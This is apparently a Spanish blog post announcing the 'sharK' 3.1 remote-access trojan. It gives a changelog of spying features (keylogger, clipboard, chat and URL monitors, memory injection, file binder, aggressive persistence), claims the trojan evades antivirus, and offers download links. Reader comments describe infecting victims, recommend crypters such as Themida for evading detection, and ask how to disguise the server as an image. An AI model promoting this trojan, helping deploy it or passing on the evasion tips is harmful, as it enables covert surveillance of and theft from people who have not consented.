Ya salio la version 3.1 del troyano shark, la ultima conocida era la 3.0, que era bastante inestable y cuando se tenia muchas victimas se desconectaban por razones desconocidas, en esta version se soluciono eso, ademas de ocultarse mas, para que sea mas dificil encontrarlo y borrarlo, por ahora es mas indetectable que la anterior, y tiene algunas pequeñas caracteristicas nuevas.
Changes
* Server-Summary had a mistake
* Client now uses Double-Variable Type for calculating Idletime
* Statistics Window not resizeable anymore
* Server-Auth-Window had an old sharK icon
* DOS Shell will be started automatically (when auto-refresh is activated)
* ADS is no longer set as default install folder since the installation routine needs more time
* RegExport & Plugin Installation working with Createprocess instead of shell() -> Faster!
* Plugin Uninstalling is way faster
* Faster File/Registry Listing
* Fixed some typos
* sharK Autosizes Columnheaders
* Regstartup-Resetting is more aggressive
* Server did not reconnect some times when disconnecting from the internet
* Some little changes
* sharK offline keylogger not noticeable anymore by lagging keyboards
* Added few idiotchecks (e.g. Servername Restriction)
* Faster GUI
* Renamed "Autostart Manager" -> "Startup Manager" and moved to "SYSTEM" menu
* Confirmation box before client exit
* Tr Queue has Minimize Button
* Better Ping Handling
Bug Fixes
* Sleep until next reboot now working
* Shark sometimes removed too many startup entries
* Fixed ShellWait() Routine -> Wait_For_Files_Termination (Server File Binder) is now working
* sharK adds Hash-Value of Path into Thumbpreview-Files for prevent problems with equal filenames
* shark crashed when making SIN Window too small
* sharK didn't list installed apps when Distributor, Version or Uninstallstring is missing
* Little fix in Pluginsystem
* Fixed Bug in Modulelisting/Pluginuploading
* 3.0 Servers are not updateable when having spaces in path
New Features
+ sharK shows total queued files/size in transfer queue + total ETA; transfer queue smaller sized
+ Memory Injection in Filebinder possible as Startmethod
+ You can move your transfer-items up/down in your queue
+ sharK uses Transfer-System for receiving keylogger-offlog -> VERY fast but not compatible to shark 3.0 server
+ You can hide the featurewindow taskbar
+ sharK will remove titlebar/form border when maximizing a feature window
+ sharK re-sets periphery blocks each 200ms when suspending/deactivating/locking stuff (e.g. keyboard) for prevent bypassing
+ Recoded Server installation part - MUCH faster installation!
+ You can capture only the foreground window optionally
+ Remote URL Monitor (Firefox, Netscape, Opera, Internet Explorer & Derivates)
+ Remote Clipboard Monitor
+ Keylogger seperates logs for each window
+ You can autosave the desk previews in the server folders
+ You can set "No Server Installation" in server builder
+ You can set "Also Start Server when installation fails" in server builder
+ You can see the desktop preview also in Report-Listview
+ Remote Chat Monitor (Working with: QIP, QIP Infium, Miranda, Miranda Me, ICQ Lite, ICQ6, Waste, Yahoo Msg, MSN 4)
+ Socks4 Reverse Proxy (STABLE! NO Beta anymore!)
+ Server will also start bound files when another server instance is already running
+ sharK does not use jpglib anymore, Pics are made smaller by setting BitsPerPixel --> Faster Screencap, Webcam Cam, Thumb & Preview Creation
+ You can set the remote clipboard
+ Serverprocess will be marked blue in Process/Open Port-List
+ You can sort almost every listview (asc & desc)
+ New Popup Style + Serverwindow will be opened on popup click
+ SharK now saves its settings via a configuration file, not via registry - old important settings are importable (port & password)
+ Profilesystem for Serverbuilder
+ Liteserver! (~600 Bytes)
+ sharK highlights own startup entry in Startup Manager
+ sharK does not connect all socket tunnels on connect. Only when opening the server window, shark will link the cam/screen/transfer socket
+ Startup Monitor: SharK servers will warn the clients when their startup entries are removed and aggressive mode is activated
Releases Notes
* Serversize: 168 KB (with fwb++, packed)
* Most Features are only working with a 3.1 server of course, some old features are not working on 3.0 servers due to syntax changes
* Due to massive changes, the sharK 3.1 client cannot interact anymore with shark 3.0.0 keyloggers
* The URL and Chat Monitor are unique features in a beta state. Wrong Results are possible.
* Due to the new connection system you can't use 3.1 servers with 3.0 clients
Descarga:
Shark 3.1 Fixed (pagina oficial)
Shark 3.1 Fixed (rapidshare)
Entradas
20 comentarios:
es una garchaaa
avast ni nod32 no lo detecta
quisiera saber cual es la mejor manera de hacerlo indetectable? quizas el signaturezeco? gracias. si hay algun manual tambien agradezco link
no se baja del rapidshare, y de la otra pag. debe estar dañado ó es el mismo server para que seamos las víctimas, en el rapidshare sale esto:
An error has occured:
You have requested http://rapidshare.com/files/104444724/sharK_3.1.zip (5518 KB).
Download session invalid. Please click here.
Possible reasons:
Download session expired. Direct-links last a few minutes for free users.
You requested this download session from a different IP than yours. If you use AOL, try a different browser.
If nothing helps, getting a premium-account will override the IP-check, which means it will solve this problem.
Go back to try again.
El mayor problema que veo del servidor, es para encriptarlo, de momento con el themida, cigicigi bueno y demas encriptadores, hacen que no funcione el servidor.
bueno, el troyano funciona bien, acabo de probar la descarga de rapidshare y me va bien, la descarga de la pagina oficial tambien, tienen que ir hacia abajo y poner "Download File" despues le aparece una pagina donde aparecen los terminos y ponen de vuelta "Download File", eso es todo.
y para hacerlo indetectable, yo creo q seria bastante facil, le pasan algun encriptador de la web, si no buscan alguno y le pasan, es nuevo el troyano asi q sera facil dejarlo indetectable, ademas hay muchos avs q no lo detectan, el problema es que se rompe el server..
aissss a dia de hoy (5 de abril) el nod ya lo detecta namas descargarlo :(
great blog, got a lot of usefull info here, keep this good work and i hope to see more soon, cya
great blog, got a lot of usefull info here, keep this good work and i hope to see more soon, cya
si sirve ya lo probe como con 3 victimas y no se desconectan como me pasa con el bifrost ;)
algun cripter que ande y no rompa el server de shark?
el themida, el metodo ese q postie hace unos dias para el poison funciona con el shark tambien
algún manual para el shark?
eh mauro, anímate a hacer un manual para el shark....
jja ok ya hare un video tutorial del shark q es mas rapido
Hola alguien sabe de un manual de este maravilloso porgrama de momento indetectable para configurarlo desde 0.
- Por ejemplo creo que tengo problemas con el puerto 80 del router que me lo remappea al 8080.
- Cuando junto el server con una imagen, no habre la imagen y el server es un server.exe, no camufla el server.exe con el jpg.
Pido por eso un manual para tontos.
MUCHAS GRACIAS.
...a mi me pasa que me infecta, pero cuando lo envio no se infectan los demas...
alguien podria decirme algo sobre esto?
GRACIAS POR ADELANTADO.
http://troyanosyvirus.com.ar/2001/01/asistencia-remota-para-utilizacion-de.html
si te interesa agregame al msn gbl-hack@hot...
quiero saver por que cuando infecto a la victima si me aparece y todo pero se desconecta y ya no me conecto con la victima ademas de que cuando reinician la PC se puierde la coneccion y ya no se conecta el server apenas que lo vuelvan a ejecutar no ay una manera para que el server se conecte solo cuando reinician la pc?
hola que tal?quisiera hacer una pregunta a alguien que sepa del shark y conozca sus cosas.....tengo un problema y es que esta semana cambie la torre del pc y cuando instale el shark en el pc nuevo me da un mensaje que pone:mass DL: Acknowledged y no me conecta ninguno de mis contactos.......Luego le doy a statics y veo que hay intentos de conexiones y me pone:dataport established,Waiting for Auth....que quiere decir esto?ya que no me conecta nadie del pc viejo y btengo puertos,firewal,contraseña.....todo igual..ayuda
Publicar un comentario en la entrada